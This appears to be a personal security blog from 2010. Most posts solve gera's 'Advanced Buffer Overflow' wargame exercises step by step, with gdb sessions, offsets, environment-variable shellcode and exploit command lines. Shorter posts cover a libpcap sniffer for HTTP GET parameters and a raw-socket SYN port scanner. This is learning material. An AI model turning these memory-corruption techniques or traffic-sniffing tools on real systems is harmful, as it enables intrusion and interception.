Thursday, September 16, 2010

Advanced Buffer Overflow #6

/* abo6.c *
/* specially crafted to feed your brain by gera */

/* wwwhat'u talkin' about? */

int main(int argv,char **argc) {
char *pbuf=malloc(strlen(argc[2])+1);
char buf[256];

strcpy(buf,argc[1]);
strcpy(pbuf,argc[2]);
while(1);
}

stack

eip
ebp
pbuf -> malloc land
.
.
buf

I can overwrite buf with the first strcpy and point pbuf to an arbitrary address. Due to the while loop, main's return address and exit function overwrites are useless.

I can point pbuf to the saved returned address of the future strcpy (second). This strcpy will overwrite its own return address and point it back to an environment variable filled with shellcode.

Where is the future eip going to be and how do I get there?

$ gdb --quiet abo6
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) b main
Breakpoint 1 at 0x8048243: file abo6.c, line 7.
(gdb) b strcpy
Breakpoint 2 at 0x804ed43
(gdb) run `perl -e 'print "A"x268 . "BBBB"';` CCCC
Starting program: /home/dennis/gera/abo6/abo6 `perl -e 'print "A"x268 . "BBBB"';
` CCCC

Breakpoint 1, main (argv=3, argc=0xbffff4c4) at abo6.c:7
7 char *pbuf=malloc(strlen(argc[2])+1);
(gdb) x/x buf
0xbffff170: 0x00000000
(gdb) c
Continuing.

Breakpoint 2, 0x0804ed43 in strcpy ()
(gdb) info frame
Stack level 0, frame at 0xbffff150:
eip = 0x804ed43 in strcpy; saved eip 0x804827a
called by frame at 0xbffff290
Arglist at 0xbffff148, args:
Locals at 0xbffff148, Previous frame's sp is 0xbffff150
Saved registers:
ebp at 0xbffff148, eip at 0xbffff14c

buf starts at 0xbffff170. The first strcpy's saved eip is at 0xbffff14c, this will be the same location for the second strcpy.

(gdb) p/x 0xbffff170 - 0xbffff14c
$1 = 0x24

The saved eip is 0x24 (36) bytes away from buf.

(gdb) p/x 0xbffff170 - 36
$3 = 0xbffff14c

Controlling second strcpy's saved return address proof of concept:

(gdb) delete
Delete all breakpoints? (y or n) y
(gdb) b strcpy
Breakpoint 6 at 0x804ed43
(gdb) run `perl -e 'print "A"x268 . "\x4c\xf1\xff\xbf"';` AAAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/dennis/gera/abo6/abo6 `perl -e 'print "A"x268 . "\x4c\xf
1\xff\xbf"';` AAAA

Breakpoint 6, 0x0804ed43 in strcpy ()
(gdb) c
Continuing.

Breakpoint 6, 0x0804ed43 in strcpy ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

When I run it out of the debugger, the addresses change (note to self, the program name length and argument name length changes offsets!). As a hack, I'll add a printf that prints the address of buf:

$ ./test `perl -e 'print "A"x268 . "BBBB"';` `perl -e 'print "CCCC"';`
buf: 0xbffff2f0
Segmentation fault

The saved eip is 36 bytes away from 0xbffff2f0

(gdb) p/x 0xbffff2f0 - 36
$3 = 0xbffff2cc

Stick shellcode into environment:

$ export ABO6=`perl -e 'print "\xeb\x14\x59\x31\xd2\xb2\x08\x31\xdb\x43\x31\xc0\
xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xe7\xff\xff\xffyou_win!";'`
$

Get address of environment variable:

$ cat env6.c
#include <stdio.h>

/* this progname name must be same length as abo6 */

int
main()
{
char *envaddr;

envaddr = getenv("ABO6");
printf("ABO6 is at %p\n", envaddr);
}
$ ./env6
ABO6 is at 0xbffff843

Put it all together:

$ abo6 `perl -e 'print "A"x268 . "\xcc\xf2\xff\xbf"';` `perl -e 'print "\x43\xf8\xff\xbf"';`
you_win!$

Monday, September 13, 2010

Libpcap Practice: getsniff.c

getsniff.c is some libpcap learning code. It parses out GET requests and prints any parameters on their own line:

dennis@ipa:~/projects/sockets/getsniff$ sudo getsniff iwn0
GET http://reddit.com/

GET http://www.reddit.com/

GET http://www.redditmedia.com/ads/

GET http://thumbs.reddit.com/t3_ddgvb.png

GET http://thumbs.reddit.com/t3_dbwsj.png
        v=b90a99afb17f73e6891ea39350cbb4d6d161e842

GET http://thumbs.reddit.com/t3_ddcqm.png

GET http://pixel.reddit.com/pixel/of_destiny.png
        v=SEOdlCDIuRz0EUWp42I59%2FadIj5PU0KFCn7MTSHYJUrNg1rLAFRi5bOCu%2BBU8FPx%2FDUpYarYq4c%3D

GET http://pagead2.googlesyndication.com/pagead/show_ads.js

GET http://www.reddit.com/comscore-iframe/www.reddit.com/

GET http://www.google-/__utm.gif
        utmwv=4.7.2
        utmn=1727842155
        utmhn=www.reddit.com
        utmcs=UTF-8
        utmsr=1280x800
        utmsc=24-bit
        utmul=en-us
        utmje=0
        utmfl=-
        utmdt=reddit.com%3A%20what%27s%20new%20online!
        utmhid=1194339538
        utmr=-
        utmp=%2F
...

Tuesday, September 7, 2010

Sockets Practice: sscan.c

sscan.c is another piece of learning code, this time implementing a syn port scanner using raw sockets and libpcap.

This was also a lesson in patience as it took a 6+ hour debugging session to track down a missing htons() causing invalid TCP checksums--I started drinking at hour 3.

dennis@ipa:~/projects/sockets/sscan$ gcc -Wall -o sscan sscan.c -lpcap
dennis@ipa:~/projects/sockets/sscan$ sudo sscan lo0 127.0.0.1
Password:
22 is open
25 is open
111 is open
587 is open
2049 is open
dennis@ipa:~/projects/sockets/sscan$ sudo sscan iwn0 192.168.0.1
Password:
80 is open
dennis@ipa:~/projects/sockets/sscan$

tcpdump snippet, open port:

18:20:35.455203 127.0.0.1.59341 > 127.0.0.1.22: S [tcp sum ok] 2370039654:2370039654(0) win 65535 (ttl 255, id 44629, len 40)

18:20:35.455227 127.0.0.1.22 > 127.0.0.1.59341: S [tcp sum ok] 189400764:189400764(0) ack 2370039655 win 16384 (DF) (ttl 64, id 7376, len 44)

18:20:35.455238 127.0.0.1.59341 > 127.0.0.1.22: R [tcp sum ok] 2370039655:2370039655(0) win 0 (DF) (ttl 64, id 48987, len 40)

Closed port:

18:20:35.955556 127.0.0.1.30223 > 127.0.0.1.23: S [tcp sum ok] 1512395315:1512395315(0) win 65535 (ttl 255, id 19412, len 40)

18:20:35.955573 127.0.0.1.23 > 127.0.0.1.30223: R [tcp sum ok] 0:0(0) ack 1512395316 win 0 (DF) (ttl 64, id 49789, len 40)

Monday, July 5, 2010

Advanced Buffer Overflow #5

/* abo5.c *
* specially crafted to feed your brain by gera */

/* You take the blue pill, you wake up in your bed, *
* and you believe what you want to believe *
* You take the red pill, *
* and I'll show you how deep goes the rabbit hole */

int main(int argv,char **argc) {
char *pbuf=malloc(strlen(argc[2])+1);
char buf[256];

strcpy(buf,argc[1]);
for (;*pbuf++=*(argc[2]++););
exit(1);
}

If we overflow buf, we can control pbuf to point to wherever. Since we also have a exit(), let's point pbuf at the .dtor section and let the argc[2] for loop copy in an address to our shellcode.

The .dtor (destructor) section in ELF executables is a list of function pointers to functions that run on program exit. The details and exploitation are described in "Overwriting the .dtors section".

main()'s stack frame looks something like:

eip
ebp
pbuf -> somewhere in the heap
.
.
buf

First order, let's control pbuf:

(gdb) run `perl -e 'print "A" x 272';` B C
Starting program: /home/dennis/gera/abo5/abo5 `perl -e 'print "A" x 272';` B C

Breakpoint 1, main (argv=4, argc=0xbffff4c4) at abo5.c:14
14 for (;*pbuf++=*(argc[2]++););
(gdb) x/x pbuf
0x41414141: Cannot access memory at address 0x41414141

Next order, let's take a look at the .dtors section a bit. It is located in the data section (starts at 0x080495e0 in this example) of the binary:

$ nm abo5 | grep -i dtor
080495e4 d __DTOR_END__
080495e0 d __DTOR_LIST__

It is writeable (as seen by the lack of the READONLY option) by default:

$ objdump -h abo5 | grep -A 1 dtor
16 .dtors 00000008 080495e0 080495e0 000005e0 2**2
CONTENTS, ALLOC, LOAD, DATA

Even if the program doesn't define any functions as destructors, the section still exists. It looks like this by default:

$ objdump -s -j .dtors abo5

abo5: file format elf32-i386

Contents of section .dtors:
80495e0 ffffffff 00000000

We will overwrite the 00000000 at 0x80495e4 with an address to our shellcode, but first we need to put the shellcode somewhere and get its address. We will put the shellcode into an environment variable:

$ export ABO5=`perl -e 'print "\xeb\x14\x59\x31\xd2\xb2\x08\x31\xdb\x43
\x31\xc0\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xe7\xff\xff\xffyou_win!";'

Then get the address of the ABO5:

$ cat env5.c
#include

/* this progname name must be same length as abo5 */

int
main()
{
char *envaddr;

envaddr = getenv("ABO5");
printf("ABO5 is at %p\n", envaddr);
}
$ ./env5
ABO5 is at 0xbffff837

Let's put it all together. First, we are overwriting pbuf to point at the .dtors section (0x80495e4). Now, the for loop copies in the address of our shellcode environment variable (0xbffff837) into pbuf (which points to .dtors):

$ abo5 `perl -e 'print "A" x 268 . "\xe4\x95\x04\x08";'` `perl -e 'prin
t "\x37\xf8\xff\xbf";'`
you_win!$

Sunday, July 4, 2010

Advanced Buffer Overflow #4

/* abo4.c *
* specially crafted to feed your brain by gera */

/* After this one, the next is just an Eureka! away */

extern system,puts;
void (*fn)(char*)=(void(*)(char*))&system;

int main(int argv,char **argc) {
char *pbuf=malloc(strlen(argc[2])+1);
char buf[256];

fn=(void(*)(char*))&puts;
strcpy(buf,argc[1]);
strcpy(pbuf,argc[2]);
fn(argc[3]);
while(1);
}

fn sits out in the .data section and pbuf points to some malloc'd memory in the heap.

main's stack frame looks something like:

eip
ebp
pbuf
.
.
buf

We can overflow buf and overwrite what pbuf points to:

(gdb) run `perl -e 'print "A" x 272';` B C
Starting program: /home/dennis/gera/abo4/abo4 `perl -e 'print "A" x 272';` B C

Breakpoint 1, main (argv=4, argc=0xbffff4c4) at abo4.c:15
15 strcpy(pbuf,argc[2]);
(gdb) x/x pbuf
0x41414141: Cannot access memory at address 0x41414141

If we overwrite pbuf to point to fn, we can use the argc[2] strcpy() to overwrite what fn points to. First we need to know where fn is:

$ nm -v abo4 | grep fn
08049728 D fn

Next we need to overwrite pbuf so that it points to fn:

(gdb) run `perl -e 'print "A" x 268 . "\x28\x97\x04\x08"';` BBBB C
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/dennis/gera/abo4/abo4 `perl -e 'print "A" x 268 . "\x28\x97\x04\x08"';` BBBB C

Breakpoint 7, main (argv=4, argc=0xbffff4c4) at abo4.c:15
15 strcpy(pbuf,argc[2]);
(gdb) x/x pbuf
0x8049728
: 0x08048348

Now that we control fn, lets point it back to system() again. Get system()'s location:

(gdb) info functions
All defined functions:

File abo4.c:
int main(int, char **);

Non-debugging symbols:

0x08048310 _init
0x08048338 system@plt

Finally, lets points fn to system():

$ abo4 `perl -e 'print "A" x 268 . "\x28\x97\x04\x08"';` `perl -e 'print "\x38\x83\x04\x08";'` 'echo "you win!"'
you win!

Advanced Buffer Overflow #3

/* abo3.c *
* specially crafted to feed your brain by gera */

/* This'll prepare you for The Next Step */

int main(int argv,char **argc) {
extern system,puts;
void (*fn)(char*)=(void(*)(char*))&system;
char buf[256];

fn=(void(*)(char*))&puts;
strcpy(buf,argc[1]);
fn(argc[2]);
exit(1);
}

main's stack frame looks something like:

eip
ebp
fn
.
.
buf

fn is a function pointer that points at system() and then it is changed to point to puts(), we need to reset this so that it points back to system().

First order of business is to figure out the address of system():

(gdb) x/x system
0x8048318
: 0x96a425ff

Next order is to overflow buf and overwrite fn to point back to system():

268 bytes get us to the start of fn

$ abo3 `perl -e 'print "A" x 268 . "\x18\x83\x04\x08"';` 'echo "you win!"'
you win!

Advanced Buffer Overflow #2

/* abo2.c *
* specially crafted to feed your brain by gera@core-sdi.com */

/* This is a tricky example to make you think *
* and give you some help on the next one */

int main(int argv,char **argc) {
char buf[256];

strcpy(buf,argc[1]);
exit(1);
}

I don't know how to exploit this one.

Overwriting main's saved return address with an address won't get us anywhere because exit() never returns to main--implying main never returns.

The following from exit(1) gave me some hope:

1. Call the functions registered with the atexit(3) function, in
the reverse order of their registration.

and I learned a lot about how this is implemented by reading

Pascal Bouchareine's "__atexit in memory bugs"

but in abo2, we can never get near the __exit_funcs structure to overwrite it

$ cat locs.c
#include <stdio.h>
#include <stdlib.h>

extern void * __exit_funcs;

int main(void)
{
static char scbuf[128];
char *mabuf;
char sbuf[128];

mabuf = (char *) malloc(128);

printf("__exit_funcs at %p\n", __exit_funcs);
printf("malloced at %p\n", mabuf);
printf("static at %p\n", scbuf);
printf("stack at %p\n", sbuf);
return 0;
}

$ gcc locs.c -o locs -static
$ ./locs
__exit_funcs at 0x80b7a60
malloced at 0x80b92e8
static at 0x80b7460
stack at 0xbffff310

The other idea I got from Gray Hat Hacking and also Juan M. Bello Rivas's "Overwriting the .dtors section" was to poke at .dtors, but ran into the same issue as above: can't get near the data to overwrite it:

$ objdump -h abo2

...

16 .dtors 00000008 08049530 08049530 00000530 2**2
CONTENTS, ALLOC, LOAD, DATA


$ objdump -s -j .dtors abo2

abo2: file format elf32-i386

Contents of section .dtors:
8049530 ffffffff 00000000